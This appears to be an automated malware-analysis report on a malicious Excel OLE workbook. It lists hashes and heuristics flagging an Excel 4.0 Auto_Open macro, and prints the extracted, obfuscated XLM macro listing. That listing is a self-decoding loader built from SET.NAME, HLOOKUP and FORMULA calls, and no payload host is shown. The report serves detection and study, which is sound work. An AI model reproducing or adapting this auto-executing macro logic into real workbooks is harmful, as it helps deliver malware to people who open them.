Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5561bfa5ca4e4f94…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:01 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: f22f0ad23d36ac38a5b9760e2b3f7878 SHA-1: 2254e6f9a704495cab16384333d153c9c13eedfb SHA-256: 5561bfa5ca4e4f948d2a1edf36bbc854b8bb784244c8b7ed0159d9637ef42c30
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6577 bytes
SHA-256: 745d873571cdc8d0b27e6f0af0087473222ade41caa5a410c12122fc0a697597
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hoSzkas
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E143 
' 0018     27 LABEL : Cell Value, String Constant - BBeUMginvcEh len=0 
' 0018     27 LABEL : Cell Value, String Constant - CDKEvVtgkpKU len=0 
' 0018     26 LABEL : Cell Value, String Constant - EyJWwVvGJQF len=0 
' 0018     27 LABEL : Cell Value, String Constant - ezFpKsbtxAIO len=0 
' 0018     20 LABEL : Cell Value, String Constant - FrpCg len=0 
' 0018     26 LABEL : Cell Value, String Constant - gpcZoVLAAMR len=0 
' 0018     20 LABEL : Cell Value, String Constant - hdauU len=0 
' 0018     26 LABEL : Cell Value, String Constant - jEWGNvntHvE len=0 
' 0018     26 LABEL : Cell Value, String Constant - JIAJTfIjUxH len=0 
' 0018     26 LABEL : Cell Value, String Constant - ldLgXUAaOIu len=0 
' 0018     21 LABEL : Cell Value, String Constant - MuVCRb len=0 
' 0018     27 LABEL : Cell Value, String Constant - NruQhEXGPEvO len=0 
' 0018     27 LABEL : Cell Value, String Constant - TlyfiVLCGfUB len=0 
' 0018     20 LABEL : Cell Value, String Constant - UDgXD len=0 
' 0018     26 LABEL : Cell Value, String Constant - uKkaaEspKta len=0 
' 0018     25 LABEL : Cell Value, String Constant - UlaVswasYh len=0 
' 0018     25 LABEL : Cell Value, String Constant - uleNLrggIB len=0 
' 0018     20 LABEL : Cell Value, String Constant - WGPQk len=0 
' 0018     22 LABEL : Cell Value, String Constant - xcmYsXN len=0 
' 0018     25 LABEL : Cell Value, String Constant - YTNcOMptwE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hoSzkas,E57,"SET.NAME("uKkaaEspKta",VALUE("0"))",""
'  hoSzkas,E59,"SET.NAME("UlaVswasYh",uKkaaEspKta)",""
'  hoSzkas,E63,"SET.NAME("gpcZoVLAAMR",uKkaaEspKta)",""
'  hoSzkas,E65,"SET.NAME("NruQhEXGPEvO",COUNTA(YTNcOMptwE))",""
'  hoSzkas,E67,"SET.NAME("FrpCg",COUNTA(JIAJTfIjUxH))",""
'  hoSzkas,E72,[],""
'  hoSzkas,E77,"SET.NAME("uleNLrggIB","")",""
'  hoSzkas,E82,"UlaVswasYh",""
'  hoSzkas,E84,"SET.NAME("UDgXD",HLOOKUP("*",YTNcOMptwE,UlaVswasYh,FALSE))",""
'  hoSzkas,E87,"WGPQk",""
'  hoSzkas,E89,"SET.NAME("BBeUMginvcEh",uKkaaEspKta)",""
'  hoSzkas,E94,[],""
'  hoSzkas,E98,"BBeUMginvcEh",""
'  hoSzkas,E101,"TlyfiVLCGfUB",""
'  hoSzkas,E103,"EyJWwVvGJQF",""
'  hoSzkas,E108,"ezFpKsbtxAIO",""
'  hoSzkas,E113,"SET.NAME("MuVCRb",VALUE(HLOOKUP("*",JIAJTfIjUxH,ezFpKsbtxAIO,FALSE)))",""
'  hoSzkas,E116,"CDKEvVtgkpKU",""
'  hoSzkas,E118,"uleNLrggIB",""
'  hoSzkas,E122,"gpcZoVLAAMR",""
'  hoSzkas,E127,NEXT(),""
'  hoSzkas,E129,"jEWGNvntHvE",""
'  hoSzkas,E131,"SET.NAME("f",INT(T(FORMULA(T(uleNLrggIB)&"",""&T(jEWGNvntHvE)))))",""
'  hoSzkas,E134,"ldLgXUAaOIu",""
'  hoSzkas,E137,NEXT(),""
'  hoSzkas,E139,RETURN(),""
'  hoSzkas,E165,"SET.NAME("xcmYsXN",E57)",""
'  hoSzkas,E168,"YTNcOMptwE",""
'  hoSzkas,E172,"SET.NAME("JIAJTfIjUxH",R62C12)",""
'  hoSzkas,E174,"SET.NAME("ldLgXUAaOIu",183)",""
'  hoSzkas,E177,"SET.NAME("hdauU",5)",""
'  hoSzkas,E182,xcmYsXN(),""
'  hoSzkas,E183,HALT(),""

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